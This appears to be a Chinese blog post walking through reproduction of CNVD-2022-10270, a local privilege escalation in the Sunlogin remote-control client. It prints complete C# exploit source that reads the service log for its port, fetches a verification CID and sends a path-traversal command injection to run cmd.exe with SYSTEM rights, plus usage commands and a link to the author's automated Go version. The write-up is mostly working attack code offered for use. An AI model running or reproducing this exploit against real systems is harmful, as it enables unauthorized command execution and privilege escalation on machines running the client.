根据玄武实验室的文章

https://github.com/Ryze-T/CNVD-2022-10270-LPE

找到目标日志文件

cd /d c:/
dir /S sunlogin_service*

向日葵日志文件

sunlogin_service.20220226-171345.log

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0WP2Qs2X-1645930706971)(D:\images\image-20220226173249846.png)]

复现

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bpyv0gS2-1645930706972)(D:\images\image-20220226180307535.png)]

安装.NET 4

https://www.microsoft.com/zh-cn/download/details.aspx?id=17718

在运行,发现需要指定路径路径,而我在win7下目录为

C:\ProgramData\Oray\SunloginClient\log

和默认不同所以需要自己指定(注意这里不带log)

sunloginLPE.exe whoami C:\ProgramData\Oray\SunloginClient

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X5Gijv9m-1645930706973)(D:\images\image-20220226204404312.png)]

代码分析

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Text.RegularExpressions;
using System.Net;

namespace sunloginLPE
{

    internal class Program
    {
        static string GetLatestFiles(string Path, int count)
        {
            var query = (from f in Directory.GetFiles(Path)
                         let fi = new FileInfo(f)
                         orderby fi.CreationTime descending
                         select fi.FullName).Take(count);
            string[] files = query.ToArray();
            for (int i = 0; i < files.Length; i++)
            {
                if (files[i].Contains("sunlogin_service."))
                {
                    return files[i];
                }
            }
            Console.WriteLine("[-] logFile not found");
            return "";
        }
        static string getPort(string path)
        {
            string logFile = GetLatestFiles(path + "\\log", 2);
            string port = "";
            string s;
            if (logFile != "")
            {
                FileStream fs = new FileStream(logFile, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
                StreamReader sr = new StreamReader(fs, System.Text.Encoding.Default);
                s  = sr.ReadToEnd();
                string pattern = @"\bstart listen OK\S*\,";
                string pattern2 = @"\d{5}";
                string res = "";
                MatchCollection mc = Regex.Matches(s, pattern);
                foreach (Match m in mc)
                    res = m.Value;
                MatchCollection mc2 = Regex.Matches(res, pattern2);
                foreach (Match m2 in mc2)
                    port = m2.Value;
            }
            return port;

        }

        private static String HttpGet(string url, string requestData)
        {
            // 实例化请求对象
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url + "?" + requestData);
            request.Method = "GET";
            request.ContentType = "text/html; charset=UTF-8";

            // 实例化响应对象,获取响应信息
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            Stream responseStream = response.GetResponseStream();
            StreamReader sReader = new StreamReader(responseStream, Encoding.Default);
            String result = sReader.ReadToEnd();
            sReader.Close();
            responseStream.Close();
            return result;
        }

        private static String HttpGetWithCookie(string url, string requestData,string cookie)
        {
            // 实例化请求对象
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url + "?" + requestData);
            request.Method = "GET";
            request.ContentType = "text/html; charset=UTF-8";
            request.Headers.Add("Cookie", "CID=" + cookie);

            // 实例化响应对象,获取响应信息
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            Stream responseStream = response.GetResponseStream();
            StreamReader sReader = new StreamReader(responseStream, Encoding.Default);
            String result = sReader.ReadToEnd();
            sReader.Close();
            responseStream.Close();
            return result;
        }
        static string exp(string SunloginClient_port,string ExecCmd)
        {
            String targetUrl = "http://127.0.0.1:" + SunloginClient_port + "/cgi-bin/rpc";
            String response = HttpGet(targetUrl, "action=verify-haras");
            string pattern = "verify_string\":\"(\\w+)?\"";
            string cid = "";
            MatchCollection mc = Regex.Matches(response, pattern);
            foreach (Match m in mc)
                cid = m.Value;
            cid = cid.Replace("\"", "").Replace("verify_string:", "");
            Console.WriteLine("[+] CID=" +cid);

            targetUrl = "http://127.0.0.1:" + SunloginClient_port + "/check";
            response = HttpGetWithCookie(targetUrl, "cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows\\system32\\cmd.exe+/c+" + ExecCmd.Replace(" ","+"),cid);

            return response;
        }
        static void Main(string[] args)
        {
            
            Console.WriteLine("[!] Usage: sunloginLPE.exe Cmd [sunloginClientPath](DefaultPath = C:\\Program Files\\Oray\\SunLogin\\SunloginClient)");
            string defaultPath = "C:\\Program Files\\Oray\\SunLogin\\SunloginClient";
            string cmd = "";
            string path = defaultPath;
            string port = "";
            if(args.Length  == 1)
            {
                cmd = args[0];
            }
            else if(args.Length == 2)
            {
                cmd=args[0];
                path =args[1];
            }
            else
            {
                Console.WriteLine("[-] wrong number of parameters");
                System.Environment.Exit(0);
            }
            try
            {
                port = getPort(path);
                if(port != "")
                {
                    Console.WriteLine("[+] SunloginClient port is " + port);
                }
                else
                {
                    Console.WriteLine("[-] SunloginClient port not found");
                    System.Environment.Exit(0);
                }
                Console.WriteLine("[+] 命令执行结果: \n" + exp(port, cmd));
            }
            catch(Exception ex)
            {
                Console.WriteLine("[-] " + ex.ToString());
            }
        }
    }
}

在111行Main函数中写死了路径,如果出现目录不同需要提供第二个参数

string defaultPath = "C:\\Program Files\\Oray\\SunLogin\\SunloginClient";

所以程序其实只自动化了漏洞利用这一块,目录如果不是默认还是需要自己查询

  • 猜测应该是因为直接去自动化查找文件可能会被杀毒拦截,需要进行免杀所以通用性不高就没写

go程序编写

所以自己用go写一个直接一条龙服务(但是不免杀!)

  • 首先确定程序功能

    1. 查找进程查看是否存在向日葵进程(这里不确认进程名是否都一致)
    2. 寻找日志文件从中提取出端口信息
    3. 通过端口信息进行本地利用命令执行达到提权
  • 确认传参

    • 要执行的cmd命令

最后效果

在这里插入图片描述
总的来说

  • 首先先通过获取进程列表来确定本地是否存在向日葵进程

  • 如果存在就通过批处理寻找日志文件(自动化)

  • 然后第二步获取最新日志文件

    • 上面的程序直接调用 Directory.GetFiles方法通过创建时间来获取
    • 而我是基于上一步的日志文件通过比对得出的结果
  • 后续的凭证获取和命令执行还是一样

代码也放在了github,对于GO来说还是初学者,所以可能写的不是很好(尤其异常处理这一块还需要完善)

https://github.com/liangyueliangyue/sunlogin_rce

后记

因为是基于文件读取的前提进行命令执行,然后向日葵运行是在系统管理员权限,所以可以用来进行本地提权

Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐